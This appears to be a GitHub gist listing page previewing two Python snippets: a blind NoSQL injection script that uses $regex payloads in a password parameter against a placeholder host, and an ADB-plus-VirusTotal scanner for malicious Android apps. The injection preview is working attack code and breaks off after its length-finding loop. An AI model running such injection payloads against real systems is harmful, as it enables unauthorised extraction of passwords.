Skip to content

Instantly share code, notes, and snippets.

@ribt
ribt / blind_nosql_injection.py
Created February 3, 2022 16:50
Here is a fast Python 3 script to find a string with NoSQL blind injections.
import requests, string
from urllib.parse import quote_plus
def test_regex(r):
return "SUCCESS" in requests.get("http://weak.com/index.php?password[$regex]="+quote_plus(r)).text
for l in range(1000):
if test_regex("^.{"+str(l)+"}$"):
break
@ribt
ribt / adb_virus-total.py
Last active October 23, 2021 14:37
Look for malicious applications with ADB and VirusTotal
import os
import requests
from time import sleep
VT_API_TOKEN = 'EDIT THIS' # create a free account on virustotal.com to get a public API key
c = os.popen("adb shell pm list packages").read()
if c == '':
print("Run 'adb devices' in a shell to make sure your phone is correctly connected")
exit()